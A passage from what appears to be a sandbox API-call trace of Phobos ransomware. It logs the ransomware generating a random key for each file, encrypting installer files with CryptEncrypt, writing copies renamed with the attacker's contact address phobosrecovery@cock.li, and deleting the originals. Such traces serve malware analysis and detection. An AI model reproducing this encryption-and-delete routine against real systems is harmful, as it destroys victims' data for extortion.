hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0047.857] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0047.857] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=3046) returned 1 [0047.857] CloseHandle (hObject=0x33c) returned 1 [0047.857] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf")) returned 0x80 [0047.857] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\eula.rtf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0047.857] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0047.857] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0047.857] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0047.857] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\eula.rtf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0047.858] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10cf70) returned 1 [0047.858] CryptSetKeyParam (hKey=0x10cf70, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0047.858] ReadFile (in: hFile=0x33c, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0xbe6, lpOverlapped=0x0) returned 1 [0047.859] CryptEncrypt (in: hKey=0x10cf70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0xbf0, dwBufLen=0xbf0 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0xbf0) returned 1 [0047.859] WriteFile (in: hFile=0x31c, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xbf0, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xbf0, lpOverlapped=0x0) returned 1 [0047.860] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10ce30) returned 1 [0047.860] CryptSetKeyParam (hKey=0x10ce30, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0047.860] CryptEncrypt (in: hKey=0x10ce30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0047.860] CryptDestroyKey (hKey=0x10ce30) returned 1 [0047.860] WriteFile (in: hFile=0x31c, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0047.860] CryptDestroyKey (hKey=0x10cf70) returned 1 [0047.860] CloseHandle (hObject=0x33c) returned 1 [0047.860] CloseHandle (hObject=0x31c) returned 1 [0047.861] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf")) returned 1 [0047.862] SetEvent (hEvent=0x2e8) returned 1 [0047.863] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0047.863] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0047.863] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=79296) returned 1 [0047.863] CloseHandle (hObject=0x31c) returned 1 [0047.863] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml")) returned 0x80 [0047.863] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\LocalizedData.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0047.863] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0047.863] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0047.863] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0047.863] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\LocalizedData.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0047.864] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10cbf0) returned 1 [0047.864] CryptSetKeyParam (hKey=0x10cbf0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0047.864] ReadFile (in: hFile=0x31c, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x135c0, lpOverlapped=0x0) returned 1 [0047.873] CryptEncrypt (in: hKey=0x10cbf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x135d0, dwBufLen=0x135d0 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x135d0) returned 1 [0047.873] WriteFile (in: hFile=0x33c, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x135d0, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x135d0, lpOverlapped=0x0) returned 1 [0047.875] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10cc30) returned 1 [0047.875] CryptSetKeyParam (hKey=0x10cc30, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0047.875] CryptEncrypt (in: hKey=0x10cc30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x50, dwBufLen=0x50 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x50) returned 1 [0047.875] CryptDestroyKey (hKey=0x10cc30) returned 1 [0047.875] WriteFile (in: hFile=0x33c, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x102, lpOverlapped=0x0) returned 1 [0047.875] CryptDestroyKey (hKey=0x10cbf0) returned 1 [0047.875] CloseHandle (hObject=0x31c) returned 1 [0047.875] CloseHandle (hObject=0x33c) returned 1 [0047.877] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml")) returned 1 [0047.879] SetEvent (hEvent=0x2e8) returned 1 [0047.879] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0047.879] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0047.879] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=4040) returned 1 [0047.879] CloseHandle (hObject=0x33c) returned 1 [0047.880] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf")) returned 0x80 [0047.880] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\eula.rtf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0047.880] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0047.880] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0047.880] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0047.880] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\eula.rtf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0047.880] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10cbb0) returned 1 [0047.880] CryptSetKeyParam (hKey=0x10cbb0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0047.880] ReadFile (in: hFile=0x33c, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0xfc8, lpOverlapped=0x0) returned 1 [0047.882] CryptEncrypt (in: hKey=0x10cbb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0xfd0, dwBufLen=0xfd0 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0xfd0) returned 1 [0047.882] WriteFile (in: hFile=0x31c, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xfd0, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xfd0, lpOverlapped=0x0) returned 1 [0047.883] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10ccf0) returned 1 [0047.883] CryptSetKeyParam (hKey=0x10ccf0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0047.883] CryptEncrypt (in: hKey=0x10ccf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0047.883] CryptDestroyKey (hKey=0x10ccf0) returned 1 [0047.883] WriteFile (in: hFile=0x31c, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0047.883] CryptDestroyKey (hKey=0x10cbb0) returned 1 [0047.883] CloseHandle (hObject=0x33c) returned 1 [0047.883] CloseHandle (hObject=0x31c) returned 1 [0047.884] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf")) returned 1 [0047.885] SetEvent (hEvent=0x2e8) returned 1 [0047.885] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0047.885] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0047.885] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=82374) returned 1 [0047.885] CloseHandle (hObject=0x31c) returned 1 [0047.885] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml")) returned 0x80 [0047.886] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\LocalizedData.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0047.886] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0047.886] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0047.886] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0047.886] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\LocalizedData.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0047.886] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10cdf0) returned 1 [0047.886] CryptSetKeyParam (hKey=0x10cdf0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0047.886] ReadFile (in: hFile=0x31c, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x141c6, lpOverlapped=0x0) returned 1 [0047.896] CryptEncrypt (in: hKey=0x10cdf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x141d0, dwBufLen=0x141d0 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x141d0) returned 1 [0047.896] WriteFile (in: hFile=0x33c, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x141d0, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x141d0, lpOverlapped=0x0) returned 1 [0047.902] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10ceb0) returned 1 [0047.902] CryptSetKeyParam (hKey=0x10ceb0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0047.902] CryptEncrypt (in: hKey=0x10ceb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x50, dwBufLen=0x50 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x50) returned 1 [0047.902] CryptDestroyKey (hKey=0x10ceb0) returned 1 [0047.902] WriteFile (in: hFile=0x33c, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x102, lpOverlapped=0x0) returned 1 [0047.902] CryptDestroyKey (hKey=0x10cdf0) returned 1 [0047.902] CloseHandle (hObject=0x31c) returned 1 [0047.902] CloseHandle (hObject=0x33c) returned 1 [0047.904] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml")) returned 1 [0047.906] SetEvent (hEvent=0x2e8) returned 1 [0047.906] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0047.906] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0047.906] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=3683) returned 1 [0047.906] CloseHandle (hObject=0x33c) returned 1 [0047.906] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf")) returned 0x80 [0047.906] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\eula.rtf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0047.906] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0047.906] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0047.907] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0047.907] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\eula.rtf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0047.907] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10cab0) returned 1 [0047.907] CryptSetKeyParam (hKey=0x10cab0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0047.907] ReadFile (in: hFile=0x33c, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0xe63, lpOverlapped=0x0) returned 1 [0047.996] CryptEncrypt (in: hKey=0x10cab0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0xe70, dwBufLen=0xe70 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0xe70) returned 1 [0047.996] WriteFile (in: hFile=0x31c, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xe70, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xe70, lpOverlapped=0x0) returned 1 [0047.997] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10cf70) returned 1 [0047.997] CryptSetKeyParam (hKey=0x10cf70, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0047.997] CryptEncrypt (in: hKey=0x10cf70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0047.997] CryptDestroyKey (hKey=0x10cf70) returned 1 [0047.997] WriteFile (in: hFile=0x31c, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0047.997] CryptDestroyKey (hKey=0x10cab0) returned 1 [0047.997] CloseHandle (hObject=0x33c) returned 1 [0047.997] CloseHandle (hObject=0x31c) returned 1 [0047.998] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf")) returned 1 [0047.999] SetEvent (hEvent=0x2e8) returned 1 [0047.999] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0048.000] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.000] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=3859) returned 1 [0048.000] CloseHandle (hObject=0x31c) returned 1 [0048.000] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf")) returned 0x80 [0048.000] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\eula.rtf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0048.000] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.000] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0048.000] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0048.000] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\eula.rtf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0048.001] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10cdf0) returned 1 [0048.001] CryptSetKeyParam (hKey=0x10cdf0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0048.001] ReadFile (in: hFile=0x31c, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0xf13, lpOverlapped=0x0) returned 1 [0048.002] CryptEncrypt (in: hKey=0x10cdf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0xf20, dwBufLen=0xf20 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0xf20) returned 1 [0048.002] WriteFile (in: hFile=0x33c, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf20, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf20, lpOverlapped=0x0) returned 1 [0048.004] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10ce30) returned 1 [0048.004] CryptSetKeyParam (hKey=0x10ce30, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0048.004] CryptEncrypt (in: hKey=0x10ce30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0048.004] CryptDestroyKey 